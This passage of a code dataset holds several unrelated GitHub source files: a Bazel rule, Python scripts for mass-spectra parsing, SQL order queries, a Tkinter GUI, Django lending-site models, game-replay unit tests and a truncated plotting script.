unittest.main()\n","repo_name":"pmattes/x3270","sub_path":"s3270/Test/testCmdlineHostError.py","file_name":"testCmdlineHostError.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"78"} +{"seq_id":"19859166394","text":"load(\"@rules_cc//cc:action_names.bzl\", \"CPP_LINK_STATIC_LIBRARY_ACTION_NAME\")\nload(\"@rules_cc//cc:find_cc_toolchain.bzl\", \"find_cc_toolchain\")\n\n\ndef _cc_static_library_impl(ctx):\n cc_toolchain = find_cc_toolchain(ctx)\n output_file = ctx.actions.declare_file(ctx.label.name + \".a\")\n\n feature_configuration = cc_common.configure_features(\n ctx = ctx,\n cc_toolchain = cc_toolchain,\n requested_features = ctx.features,\n unsupported_features = ctx.disabled_features,\n )\n\n linker_input = cc_common.create_linker_input(\n owner = ctx.label,\n libraries = depset(direct = [\n cc_common.create_library_to_link(\n actions = ctx.actions,\n feature_configuration = feature_configuration,\n cc_toolchain = cc_toolchain,\n static_library = output_file,\n ),\n ]),\n )\n compilation_context = cc_common.create_compilation_context()\n linking_context = cc_common.create_linking_context(linker_inputs = depset(direct = [linker_input]))\n\n archiver_path = cc_common.get_tool_for_action(\n feature_configuration = feature_configuration,\n action_name = CPP_LINK_STATIC_LIBRARY_ACTION_NAME,\n )\n archiver_variables = cc_common.create_link_variables(\n feature_configuration = feature_configuration,\n cc_toolchain = cc_toolchain,\n output_file = output_file.path,\n is_using_linker = False,\n )\n command_line = cc_common.get_memory_inefficient_command_line(\n feature_configuration = feature_configuration,\n action_name = CPP_LINK_STATIC_LIBRARY_ACTION_NAME,\n variables = archiver_variables,\n )\n args = ctx.actions.args()\n args.add_all(command_line)\n\n env = cc_common.get_environment_variables(\n feature_configuration = feature_configuration,\n action_name = CPP_LINK_STATIC_LIBRARY_ACTION_NAME,\n variables = archiver_variables,\n )\n\n ctx.actions.run(\n executable = archiver_path,\n arguments = [args],\n env = env,\n inputs = depset(\n transitive = [\n cc_toolchain.all_files,\n ],\n ),\n outputs = [output_file],\n )\n\n cc_info = cc_common.merge_cc_infos(cc_infos = [\n CcInfo(compilation_context = compilation_context, linking_context = linking_context),\n ] + [dep[CcInfo] for dep in ctx.attr.deps])\n return [cc_info]\n\ncc_static_library = rule(\n implementation = _cc_static_library_impl,\n attrs = {\n \"deps\": attr.label_list(providers = [CcInfo]),\n \"_cc_toolchain\": attr.label(default = Label(\"@bazel_tools//tools/cpp:current_cc_toolchain\")),\n },\n fragments = [\"cpp\"],\n toolchains = [\"@bazel_tools//tools/cpp:toolchain_type\"],\n incompatible_use_toolchain_transition = True,\n)\n","repo_name":"tiro-is/tiro-speech-core","sub_path":"tools/cc/defs.bzl","file_name":"defs.bzl","file_ext":"bzl","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"78"} +{"seq_id":"41797566369","text":"from city_functions import get_formatted_name\nprint(\"Enter 'q' at any time to quit!\")\nwhile True:\n\tcity=input(\"\\nPlease give me your city: \")\n\tif city=='q':\n\t\tbreak\n\tcountry=input(\"\\nPiease give your country: \")\n\tif country=='q':\n\t\tbreak\n\tpopulation=input(\"\\nPlease give your city'spopulation: \")\n\tif population=='q':\n\t\tbreak\n\t\n\tcity_name=get_formatted_name(city,country,str(population))\n\tprint(\"The neatly formatted name: \"+city_name+'!')\n","repo_name":"shenjinrong0901/python_work","sub_path":"学习阶段历程/city_name.py","file_name":"city_name.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72160751931","text":"info='tools for mass spectra data analysis'\nprint(\"Successfully import cyMStools\")\nfrom .plink2_summary import summary_plink2_report\nfrom .cal_similarity_of2spec import compare2spec\n\n\n###############通用功能####################\n# 读取mgf\ndef readMGF(mgf_path, scanSet=\"ALL\"):\n print(\"Reading mgf file\", end = \" \")\n print(\"the mgf path is %s\" % mgf_path)\n f = open(mgf_path).readlines()\n scanInfoDic = {}\n i = 0\n while i < len(f):\n if f[i].strip() != \"BEGIN IONS\":\n i += 1\n else:\n scanTitle = f[i+1].split(\"=\")[1].strip()\n # print(i)\n if scanSet == \"ALL\":\n isInset = True\n else:\n isInset = scanTitle in scanSet\n \n if isInset:\n scanNum = int(scanTitle.split(\".\")[1])\n charge = int(f[i+2].split(\"=\")[1][:-2])\n mzPre = float(f[i+4].split(\"=\")[-1].strip())\n specInfo = []\n p = i + 5\n while p < len(f):\n if f[p].strip() == \"END IONS\":\n break\n else:\n lineList = f[p].split(\" \")\n mz = float(lineList[0])\n ints = float(lineList[1].strip())\n specInfo.append([mz, ints])\n p += 1\n scanInfoDic[scanTitle] = [mzPre, charge, specInfo]\n else:\n p = i + 5\n while p < len(f):\n if f[p].strip() == \"END IONS\":\n break\n else:\n p += 1\n i = p + 1\n return scanInfoDic","repo_name":"daheitu/cyMStools","sub_path":"build/lib/cyMStools/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71149357691","text":"from applet_background.link_config import con_mysql\n\n\ndef check_user_auth_level(user_phone):\n '''\n\n :param user_phone: 用户手机号\n :return: 用户等级\n '''\n con_mysql_connect = con_mysql.connection()\n cursor = con_mysql_connect.cursor()\n cursor.execute(\"select level, agentId, agentName from manager_list where phoneNumber = %s\", user_phone)\n level = cursor.fetchone()\n cursor.close()\n con_mysql_connect.close()\n return level\n\n\ndef get_order_deposit_data_by_sql(sql):\n '''\n 通过sql语句查询押金列表\n :param sql:\n :return:\n '''\n con_mysql_connect = con_mysql.connection()\n cursor = con_mysql_connect.cursor()\n cursor.execute(sql)\n data = cursor.fetchall()\n cursor.close()\n con_mysql_connect.close()\n return_list = list()\n for data_ in data:\n return_list.append(\n {\n 'orderId': data_[0],\n 'hoaName': data_[1],\n 'userName': data_[2],\n 'phoneNumber': data_[3],\n 'money': data_[4],\n 'agentName': data_[5],\n 'createTime': data_[6],\n 'status': data_[7],\n }\n )\n return return_list\n\n\ndef get_order_data_by_sql(sql):\n con_mysql_connect = con_mysql.connection()\n cursor = con_mysql_connect.cursor()\n cursor.execute(sql)\n data = cursor.fetchall()\n cursor.close()\n con_mysql_connect.close()\n return_list = list()\n for order_data in data:\n return_list.append({\n 'orderNum': order_data[0],\n 'userName': order_data[0],\n 'phoneNumber': order_data[0],\n 'deviceId': order_data[0],\n 'hosName': order_data[0],\n 'agentName': order_data[0],\n 'startTime': order_data[0],\n 'endTime': order_data[0],\n 'cost': order_data[0],\n 'couponId': order_data[0],\n 'orderStatus': order_data[0],\n })\n return return_list\n\n\nsql = \"SELECT orderNum, userName, phoneNumber, order_list.`deviceId`, hos_list.`hosName`, \" \\\n \"order_list.`agentName`, startTime, endTime,cost,couponId, orderStatus FROM order_list, \" \\\n \"hos_list WHERE order_list.`deviceId` = hos_list.`deviceId`\"\nget_order_data_by_sql(sql)\n","repo_name":"xieboxiebo/escortbed","sub_path":"applet_background/order_finance_equipment_management/fun_for_order.py","file_name":"fun_for_order.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4536915700","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 28 11:15:05 2019\n\n@author: Zcy\n\"\"\"\n\nimport tkinter as tk\nfrom tkinter import filedialog,ttk\nfrom PIL import Image, ImageTk\nimport os\nimport getRGB \nclass MainWindow(): \n def __init__(self): \n \n self.frame = tk.Tk() \n self.frame.title('Strength Detection Of PHT')\n self.frame.geometry('800x600')\n self.hello_label = tk.Label(self.frame, text='Strength Detection Of PHT',justify = 'center', font = ('黑体',12), bg='#00c1de', width=120, height=2)\n self.hello_label.grid(row = 0,column = 1,columnspan=6)\n \n self.label_name = tk.Label(self.frame,text = \"Picture path:\",height = \"2\",width = 30) \n self.label_file = tk.Label(self.frame,text = \"Target image:\",height = \"2\",width = 30)\n\n self.number = tk.StringVar()\n self.numberChosen = ttk.Combobox(self.frame, textvariable=self.number,height = \"2\",width = 48)\n \n self.text_name = tk.Text(self.frame,height = \"1\",width = 50) \n self.text_name.focus()\n \n self.label_name.grid(row = 1,column = 1)\n self.label_file.grid(row = 2,column = 1)\n self.text_name.grid(row = 1,column = 2,columnspan=4)\n self.numberChosen.grid(row = 2,column = 2,columnspan=4)\n\n self.button_ok = tk.Button(self.frame,text = \"Select image path\",width = 15,command=self.select_Path) \n self.button_select = tk.Button(self.frame,text = \"Read target image\",width = 15,command =lambda:self.find_file(path1=file_for_path))\n self.button_judge = tk.Button(self.frame,text = \"Calculation\",width = 10,command = lambda:self.getXml(file_name_=self.file_for_path+self.numberChosen.get()))\n self.button_cancel = tk.Button(self.frame,text = \"Close\",width = 10,command=self.destroy) \n\n self.button_ok.grid(row = 4,column = 1) \n self.button_select.grid(row = 4,column = 2)\n self.button_judge.grid(row = 4,column = 3)\n self.button_cancel.grid(row = 4,column = 4) \n \n self.run_label = tk.Label(self.frame, text='Calculation result display',justify = 'center',font = ('黑体',12), bg='#00c2de', width=120, height=2)\n self.run_label.grid(row = 6,column = 1,columnspan=6, pady=8)\n \n self.w_box = 800 \n self.h_box = 300\n \n self.label_img = tk.Label(self.frame) \n self.label_img.grid(row = 7,column = 0,columnspan=6,rowspan=6)\n \n self.showImg(r'timg.jpg')\n self.frame.mainloop()\n \n def img_resize(self,w_box,h_box,pil_image): #参数是:要适应的窗口宽、高、Image.open后的图片\n w, h = pil_image.size #获取图像的原始大小 \n f1 = 1.0*w_box/w \n f2 = 1.0*h_box/h \n factor = min([f1, f2]) \n width = int(w*factor) \n height = int(h*factor) \n return pil_image.resize((width, height), Image.ANTIALIAS) \n \n def select_Path(self):\n global file_for_path\n path = tk.StringVar()\n file_path=filedialog.askdirectory()\n path.set(file_path)\n file_for_path=file_path+\"/\"\n self.text_name.insert(tk.INSERT,file_path)\n self.file_for_path=file_for_path\n \n def find_file(self,path1):\n global Files\n f = []\n for root, dirs, files in os.walk(path1):\n for file in files:\n if os.path.splitext(file)[1] == '.png' or os.path.splitext(file)[1] == '.tif' or os.path.splitext(file)[1] == '.jpg' or os.path.splitext(file)[1] == '.bmp':\n t = os.path.splitext(file)\n s = str(t[0])+str(t[1])\n f.append(s) # 将所有的文件名添加到F列表中\n Files = f\n self.numberChosen['values'] = Files # 设置下拉列表的值\n self.numberChosen.current(0)\n\n def destroy(self):\n self.frame.quit()\n self.frame.destroy()\n \n def showImg(self,file_name):\n pil_image = Image.open(file_name)\n pil_image_resized =self.img_resize(self.w_box,self.h_box,pil_image)\n self.tk_image = ImageTk.PhotoImage(image=pil_image_resized)\n self.label_img.configure(image=self.tk_image)\n self.frame.update()\n \n def showImgr(self,file_name):\n pil_image = Image.open(file_name)\n pil_image_resized =self.img_resize(self.w_box,self.h_box,pil_image)\n self.tk_imager = ImageTk.PhotoImage(image=pil_image_resized)\n self.label_imgr.configure(image=self.tk_imager)\n self.frame.update()\n \n def getXml(self,file_name_):\n self.showImg(file_name_)\n y=getRGB.getRGB(file_name_)\n if (isinstance(y,float)):\n res= 'Mechanical strength:' + str(y) + ' MPa'\n self.result_label = tk.Label(self.frame, text=res,justify = 'left',font = ('黑体',14), bg='green', width=40, height=3)\n self.result_label.grid(row = 22,column = 1,columnspan=5, pady=8)\n else:\n self.result_label = tk.Label(self.frame, text=str(y),justify = 'left',font = ('黑体',14), bg='red', width=40, height=3)\n self.result_label.grid(row = 22,column = 1,columnspan=5, pady=8)\n \n self.frame.mainloop()\n\nframe = MainWindow() \n \n \n \n \n \n ","repo_name":"STAWZW/STAWZW1.0","sub_path":"getRGB/getRGB/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":5284,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"18997718230","text":"import sys\n\nN = int(sys.stdin.readline())\npeople = list(map(int,sys.stdin.readline().split()))\nlineList = [0 for _ in range(N+1)]\ncheckList = [False for _ in range(N+1)]\nansList = []\n\ndef dfs(floor):\n if not checkList[floor]:\n checkList[floor] = True\n ansList.append(people[floor-1])\n lineList[people[floor-1]] -= 1\n dfs(people[floor-1])\n\n\nfor i in range(N):\n lineList[people[i]] += 1\n\ndfs(1)\n\nfor i in range(1,N+1):\n if lineList[i] == 0 and not checkList[i]:\n ansList.append(i)\n dfs(i)\nfor i in range(1,N+1):\n if not checkList[i]:\n ansList.append(i)\n dfs(i)\nprint(len(ansList))\nprint(*ansList)\n\n ","repo_name":"YoonpyoHong/AlgorithmStudy","sub_path":"oneDay/23296.py","file_name":"23296.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21717273262","text":"from django.contrib.auth.models import User\nfrom django.db import models\nfrom django.core.files.storage import FileSystemStorage\nfrom django.utils import timezone\n\n# choices setting\nREGION = (\n ('基隆', '基隆'), ('台北', '台北'),\n ('新北', '新北'), ('桃園', '桃園'),\n ('新竹', '新竹'), ('苗栗', '苗栗'),\n ('台中', '台中'), ('彰化', '彰化'),\n ('南投', '南投'), ('雲林', '雲林'),\n ('嘉義', '嘉義'), ('台南', '台南'),\n ('高雄', '高雄'), ('屏東', '屏東'),\n ('宜蘭', '宜蘭'), ('花蓮', '花蓮'),\n ('台東', '台東'),\n)\nREGION_COMBINED = (\n ('北、北、基(含宜蘭)', '北、北、基(含宜蘭)'), ('桃、竹、苗', '桃、竹、苗'),\n ('中、彰、投', '中、彰、投'), ('雲、嘉、南', '雲、嘉、南'),\n ('高雄、屏東', '高雄、屏東'), ('花蓮、台東', '花蓮、台東'),\n)\nPAYING_MONTH = (\n ('20000', '20000'), ('54000', '54000'),\n ('108000', '108000'), ('12000', '12000'),\n ('30600', '30600'), ('100800', '100800'),\n ('30000', '30000'), ('76500', '76500'),\n ('252000', '252000'),\n)\nPRICE_OF_LENDER = (\n ('local', 0), ('national', 0),\n)\nPRICE_OF_AD = (\n ('local', 0), ('national', 0),\n)\nBORROWING_WAY = (\n ('本票', '本票'), ('機車', '機車'),\n ('汽車', '汽車'), ('電話諮詢', '電話諮詢'),\n)\nJOB = (\n ('農、林、漁、牧業', '農、林、漁、牧業'), ('勞工上班族', '勞工上班族'),\n ('交通運輸業', '交通運輸業'), ('餐旅服務業', '餐旅服務業'),\n ('公家機關', '公家機關'), ('建築業', '建築業'),\n ('娛樂業', '娛樂業'), ('大學生', '大學生'),\n ('其他', '其他'), ('無', '無'),\n)\n\nclass MyUser(models.Model):\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n checking_code = models.CharField(max_length=6, default=0)\n checking_times = models.IntegerField(default=0)\n checking_error = models.IntegerField(default=0)\n is_borrower = models.BooleanField(default=False)\n is_lender = models.BooleanField(default=False)\n is_employee = models.BooleanField(default=False)\n is_ad = models.BooleanField(default=False)\n is_VIP = models.BooleanField(default=False)\n is_member = models.BooleanField(default=False)\n\n\nclass Borrower(models.Model):\n user = models.OneToOneField(MyUser, on_delete=models.CASCADE, primary_key=True)\n nickname = models.CharField(max_length=16, default='先生/小姐')\n line_id = models.CharField(max_length=16, null=True) # 串接line API查看ID是否存在\n job = models.CharField(max_length=16, choices=JOB, null=True)\n\n # Borrower先不放employee_id, 但檔案上有\n\n # def create_borrower(self, myUser, nickname):\n # myUser.borrower.objects.create(nickname=nickname)\n\n def change_borrower(self, user, nickname, line_id, job):\n borrower = user.myuser.borrower\n borrower.nickname = nickname\n borrower.line_id = line_id\n borrower.job = job\n borrower.save()\n\n\nclass Borrowing_Message(models.Model):\n borrower = models.ForeignKey(Borrower, on_delete=models.CASCADE)\n money = models.IntegerField()\n borrowing_way = models.CharField(max_length=16, choices=BORROWING_WAY, default='本票') # 可用Choices的方式\n region = models.CharField(max_length=2, choices=REGION)\n money_usage = models.CharField(max_length=16)\n pub_time = models.DateTimeField(auto_now_add=True)\n borrowing_status = models.BooleanField(default=False)\n\n def create_borrowing_message(self, money, region, money_usage, borrower, borrowing_way='本票'):\n borrower.borrowing_message_set.create(money=money, region=region, money_usage=money_usage, borrowing_way=borrowing_way)\n\n def change_borrowing_status(self, id):\n borrowing_message = Borrowing_Message.objects.get(pk=id)\n borrowing_message.borrowing_status = True\n borrowing_message.save()\n\n\nclass Price(models.Model):\n paying_month = models.CharField(max_length=10, choices=PAYING_MONTH)\n price_of_lender = models.CharField(max_length=10, choices=PRICE_OF_LENDER)\n price_of_ad = models.CharField(max_length=10, choices=PRICE_OF_AD)\n\n\nclass Employee(models.Model):\n user = models.OneToOneField(MyUser, on_delete=models.CASCADE, primary_key=True)\n name = models.CharField(max_length=16)\n department = models.CharField(max_length=16)\n position = models.CharField(max_length=16)\n salary = models.IntegerField(default=0)\n phone = models.CharField(max_length=10)\n born_date = models.DateTimeField()\n\n\nclass Lender(models.Model):\n user = models.OneToOneField(MyUser, on_delete=models.CASCADE, primary_key=True)\n nickname = models.CharField(max_length=16)\n line_id = models.CharField(max_length=16, null=True) # 串接line API查看ID是否存在\n region = models.CharField(max_length=10, choices=REGION_COMBINED)\n highest_lending = models.IntegerField()\n lending_way = models.CharField(max_length=16, choices=BORROWING_WAY) # 可用Choices的方式, 同borrowing_way\n lending_title = models.CharField(max_length=100)\n lending_content = models.CharField(max_length=300)\n update_time = models.DateTimeField(auto_now=True)\n lending_expired_date = models.DateTimeField(null=True)\n ad_expired_date = models.DateTimeField(null=True)\n employee = models.ForeignKey(Employee, on_delete=models.CASCADE, null=True)\n\n def create_lender(self, myUser, nickname, line_id, highest_lending, region, lending_way, lending_title, lending_content):\n myUser.lender.objects.create(nickname=nickname, line_id=line_id, highest_lending=highest_lending, region=region, lending_way=lending_way, lending_title=lending_title, lending_content=lending_content)\n\n def change_lender(self, user, nickname, line_id):\n lender = user.myuser.lender\n lender.nickname = nickname\n lender.line_id = line_id\n lender.save()\n\n def create_lending_content(self, user, region, highest_lending, lending_way, lending_title, lending_content):\n lender = user.myuser.lender\n lender.region = region\n lender.highest_lending = highest_lending\n lender.lending_way = lending_way\n lender.lending_title = lending_title\n lender.lending_content = lending_content\n lender.save()\n\n\nclass Paying(models.Model):\n lender = models.ForeignKey(Lender, on_delete=models.CASCADE)\n package = models.CharField(max_length=20)\n ad_type = models.CharField(max_length=5, null=True)\n ad_region = models.CharField(max_length=10, choices=REGION_COMBINED, null=True)\n paying_month_lender = models.CharField(max_length=10, choices=PAYING_MONTH, null=True)\n paying_month_ad_local = models.CharField(max_length=10, choices=PAYING_MONTH, null=True)\n paying_month_ad_nation = models.CharField(max_length=10, choices=PAYING_MONTH, null=True)\n receivable_money = models.IntegerField(null=True)\n apply_date = models.DateTimeField(auto_now_add=True)\n paying_date = models.DateTimeField(null=True)\n get_money = models.IntegerField(default=0)\n next_lender_expired_date = models.DateTimeField(null=True)\n next_ad_expired_date = models.DateTimeField(null=True)\n # 先不放employee_id, 但檔案上有\n\n\nclass Ad_Contact(models.Model):\n name = models.CharField(max_length=16)\n phone = models.CharField(max_length=10)\n line_id = models.CharField(max_length=20, null=True)\n package = models.CharField(max_length=10)\n region = models.CharField(max_length=10, choices=REGION_COMBINED, null=True)\n paying_month_local = models.CharField(max_length=10, choices=PAYING_MONTH, null=True)\n paying_month_nation = models.CharField(max_length=10, choices=PAYING_MONTH, null=True)\n pub_date = models.DateTimeField(auto_now_add=True)\n employee = models.OneToOneField(Employee, on_delete=models.CASCADE, null=True)\n\n def create_ad_contact(self, name, phone, line_id, package, region, paying_month_local, paying_month_nation):\n Ad_Contact.objects.create(name=name, phone=phone, line_id=line_id, package=package, region=region, paying_month_local=paying_month_local, paying_month_nation=paying_month_nation)\n\n # 一個用來檢測是否已經為lender的方法\n\n\nclass Ad(models.Model):\n lender = models.OneToOneField(Lender, on_delete=models.CASCADE, primary_key=True)\n ad_region = models.CharField(max_length=10, choices=REGION_COMBINED)\n ad_photo_big = models.ImageField(upload_to='%Y/%m/', null=True)\n ad_photo_small = models.ImageField(upload_to='%Y/%m/', null=True)","repo_name":"DamianZhang/mmm957","sub_path":"mmm957/loan/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"43206351646","text":"import os\r\nimport sys\r\n\r\nif __name__ == '__main__':\r\n sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir, os.pardir, os.pardir)))\r\n \r\nif sys.version_info[:2] < (2, 7):\r\n import unittest2 as unittest\r\nelse:\r\n import unittest\r\nfrom unittest.mock import MagicMock\r\n\r\nfrom metrics.sc2metric import Sc2MetricAnalyzer \r\nfrom metrics.plugins.supply import SupplyTracker\r\n\r\n\r\nclass TestSupplyTrackerPlugin(unittest.TestCase):\r\n\r\n def _generate_stub_replay(self):\r\n return MagicMock(players=[MagicMock(units=[]), MagicMock(units=[])],\r\n game_length = MagicMock(seconds=100),\r\n game_fps = 1,\r\n frames = 100) # this will set everything up so that 1 game sec = 1 real sec)\r\n \r\n \r\n def _add_worker(self, player, second_created, second_died):\r\n mock = MagicMock(hallucinated=False,\r\n is_building=False,\r\n is_worker=True,\r\n is_army=False,\r\n supply=1,\r\n started_at=second_created,\r\n died_at=second_died)\r\n mock.name = ''\r\n player.units.append(mock)\r\n \r\n \r\n def _add_army(self, player, second_created, second_died, supply, halluc):\r\n mock = MagicMock(hallucinated=halluc,\r\n is_building=False,\r\n is_worker=False,\r\n is_army=True,\r\n supply=supply,\r\n started_at=second_created,\r\n died_at=second_died)\r\n mock.name = ''\r\n player.units.append(mock)\r\n \r\n \r\n def _add_pylon(self, player, second_created, second_died):\r\n # mock.name must be setup in this way due to the nature of MagicMock\r\n # see here: https://docs.python.org/3/library/unittest.mock.html#mock-names-and-the-name-attribute\r\n mock = MagicMock(hallucinated=False,\r\n is_building=True,\r\n is_worker=False,\r\n is_army=False,\r\n supply=0,\r\n started_at=second_created,\r\n died_at=second_died)\r\n mock.name = 'Pylon'\r\n player.units.append(mock)\r\n\r\n \r\n def _add_nexus(self, player, second_created, second_died):\r\n mock = MagicMock(hallucinated=False,\r\n is_building=True,\r\n is_worker=False,\r\n is_army=False,\r\n supply=0,\r\n started_at=second_created,\r\n died_at=second_died)\r\n mock.name = 'Nexus'\r\n player.units.append(mock)\r\n \r\n \r\n def test_handleInitGame(self):\r\n rep = MagicMock(players=[MagicMock(), MagicMock()])\r\n sup = SupplyTracker()\r\n sup.handleInitGame(None, rep)\r\n for plyr in rep.players:\r\n self.assertTrue(hasattr(plyr, 'metrics'))\r\n self.assertIsNotNone(plyr.metrics)\r\n self.assertIs(type(plyr.metrics), Sc2MetricAnalyzer)\r\n \r\n \r\n def test_handleEndGame(self):\r\n rep = self._generate_stub_replay()\r\n sup = SupplyTracker()\r\n \r\n self._add_worker(rep.players[0], 1, 3)\r\n self._add_pylon(rep.players[0], 1, 4)\r\n \r\n sup.handleEndGame(None, rep)\r\n p1_met = rep.players[0].metrics\r\n \r\n self.assertEqual(len(p1_met.supply), 3)\r\n self.assertEqual(p1_met.supply[0].supply_used, 1)\r\n self.assertEqual(p1_met.supply[0].supply_made, 8)\r\n self.assertEqual(p1_met.supply[0].second, 1)\r\n self.assertEqual(p1_met.supply[1].supply_used, 0)\r\n self.assertEqual(p1_met.supply[1].second, 3)\r\n self.assertEqual(p1_met.supply[2].supply_made, 0)\r\n self.assertEqual(p1_met.supply[2].second, 4)\r\n \r\n\r\n def test_handleEndGame_when_hallucinated_units_present(self):\r\n rep = self._generate_stub_replay()\r\n sup = SupplyTracker()\r\n \r\n self._add_army(rep.players[0], 3, 8, 4, True)\r\n \r\n sup.handleEndGame(None, rep)\r\n p1_met = rep.players[0].metrics\r\n \r\n self.assertEqual(len(p1_met.supply), 0)\r\n \r\n \r\n def test_handleEndGame_when_nexus_created(self):\r\n rep = self._generate_stub_replay()\r\n sup = SupplyTracker()\r\n \r\n self._add_nexus(rep.players[0], 1, None)\r\n \r\n sup.handleEndGame(None, rep)\r\n p1_met = rep.players[0].metrics\r\n \r\n self.assertEqual(len(p1_met.supply), 1)\r\n self.assertEqual(p1_met.supply[0].supply_made, 15)\r\n \r\n \r\n def test_handleEndGame_when_unit_never_died(self):\r\n rep = self._generate_stub_replay()\r\n sup = SupplyTracker()\r\n \r\n self._add_nexus(rep.players[0], 1, None)\r\n self._add_army(rep.players[0], 5, None, 8, False)\r\n \r\n sup.handleEndGame(None, rep)\r\n p1_met = rep.players[0].metrics\r\n \r\n self.assertEqual(len(p1_met.supply), 2)\r\n self.assertEqual(p1_met.supply[0].supply_made, 15)\r\n self.assertEqual(p1_met.supply[1].supply_made, 15)\r\n self.assertEqual(p1_met.supply[1].supply_used, 8)\r\n \r\n \r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"matthewj8489/Starcraft2Metrics","sub_path":"tests/unit/plugins/test_supply.py","file_name":"test_supply.py","file_ext":"py","file_size_in_byte":5592,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"37228109098","text":"import sys\nsys.path.append('../')\nimport numpy as np\nimport argparse\nimport matplotlib.pyplot as plt\nfrom utils_plotting import set_axis_color\nfrom utils_plotting import custom_colors\nfrom utils_plotting import remove_xticklabel\nplt.style.use('../thesis_mplrc.dms')\n\n# Parse arguments from the command line\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-datadir\", type=str, help=\"data directory\", default=\".\")\nparser.add_argument(\"-resultdir\", type=str, help=\"result directory\", default=\".\")\nparser.add_argument(\"-connect_type\", type=str, help=\"connection type\", default=\".\")\nparser.add_argument(\"-outfile_name\", type=str, help=\"name of output file\", default=\".\")\nparser.add_argument(\"-durex\", type=float, help=\"duration of example\")\nparser.add_argument(\"-alpha\", type=float, help=\"moving average time scale\")\nparser.add_argument(\"-numberofrealiz\", type=int, help=\"number of realization of the noise\", default=1)\n\nargs = parser.parse_args()\nnumber_of_realizations = args.numberofrealiz\n\n# ~~~~~~~~~~~\n# Import data\n# ~~~~~~~~~~~\n# Wsum (average of nonzero synaptic weights\nwsum = np.loadtxt('{}/plasticity_rule.0.wsum_seed{}'.format(args.datadir, 1))\nfor i in range(1, number_of_realizations):\n filename = '{}/plasticity_rule.0.wsum_seed{}'.format(args.datadir, i+1)\n wsum = np.hstack([wsum, np.reshape(np.loadtxt(filename)[:, 1], (-1,1))]) # average of nonzero synaptic weights\nwsum_mean = np.mean(wsum[:, 1:], axis=1)\nwsum_std = np.std(wsum[:, 1:], axis=1)\n\n# Event and burst rate of the pre and postsynaptic neurons\nbrate_post = np.loadtxt('{}/plasticity_rule.0.brate_seed{}'.format(args.datadir, 1))\nfor i in range(1, number_of_realizations):\n filename = '{}/plasticity_rule.0.brate_seed{}'.format(args.datadir, i+1)\n brate_post = np.hstack([brate_post, np.loadtxt(filename)[:, 1:]]) # BR and ER of postsynaptic population\nbrate_post_meanBR, brate_post_meanER = np.mean(brate_post[:, 1::2], axis=1), np.mean(brate_post[:, 2::2], axis=1)\nbrate_post_stdBR, brate_post_stdER = np.std(brate_post[:, 1::2], axis=1), np.std(brate_post[:, 2::2], axis=1)\nbrate_post_meanBP = np.mean(brate_post[:, 1::2]/brate_post[:, 2::2], axis=1)\nbrate_post_stdBP = np.std(brate_post[:, 1::2]/brate_post[:, 2::2], axis=1)\n\nbrate_pre = np.loadtxt('{}/plasticity_rule.0.brate_input_seed{}'.format(args.datadir, 1))\nfor i in range(1, number_of_realizations):\n filename = '{}/plasticity_rule.0.brate_input_seed{}'.format(args.datadir, i+1)\n brate_pre = np.hstack([brate_pre, np.loadtxt(filename)[:, 1:]]) # BR and ER of presynaptic population\nbrate_pre_meanBR = np.mean(brate_pre[:, 1::2], axis=1)\nbrate_pre_meanER = np.mean(brate_pre[:, 2::2], axis=1)\nbrate_pre_meanBP = np.mean(brate_pre[:, 1::2]/brate_pre[:, 2::2], axis=1)\nbrate_pre_stdBR = np.std(brate_pre[:, 1::2], axis=1)\nbrate_pre_stdER = np.std(brate_pre[:, 2::2], axis=1)\nbrate_pre_stdBP = np.std(brate_pre[:, 1::2]/brate_pre[:, 2::2], axis=1)\n\n# construct average of moving average BP\nall_er_traces = []\nall_br_traces = []\nfor r in range(1, number_of_realizations+1):\n er_trace = np.loadtxt(args.datadir + '/plasticity_rule0.0.trevent_seed' + str(r))\n br_trace = np.loadtxt(args.datadir + '/plasticity_rule0.0.trburst_seed' + str(r))\n for i in range(1, 50):\n er_tmp = np.loadtxt(args.datadir + '/plasticity_rule'+str(i)+'.0.trevent_seed'+str(r))\n br_tmp = np.loadtxt(args.datadir + '/plasticity_rule'+str(i)+'.0.trburst_seed'+str(r))\n er_trace[:, 1] += er_tmp[:, 1]\n br_trace[:, 1] += br_tmp[:, 1]\n all_er_traces.append(er_trace[:, 1] / 50.)\n all_br_traces.append(br_trace[:, 1] / 50.)\nall_er_traces = np.array(all_er_traces)\nall_br_traces = np.array(all_br_traces)\nmean_ER_trace = np.mean(all_er_traces, axis=0)\nmean_BR_trace = np.mean(all_br_traces, axis=0)\nmean_BP_trace = np.mean(all_br_traces/all_er_traces, axis=0)\nstd_BP_trace = np.std(all_br_traces/all_er_traces, axis=0)\n\n# ~~~~~~~~\n# Plotting\n# ~~~~~~~~\nn_SD = 1\nfig = plt.figure(figsize=(70./25.4, 88./25.4))\ntics = list(4*args.alpha + args.durex*np.arange(0, 7))\nbinSize = brate_post[1, 0] - brate_post[0, 0]\n\nax1 = fig.add_subplot(311)\nax1.plot(brate_post[:, 0], brate_post_meanER, color=custom_colors['blue'], lw=1, 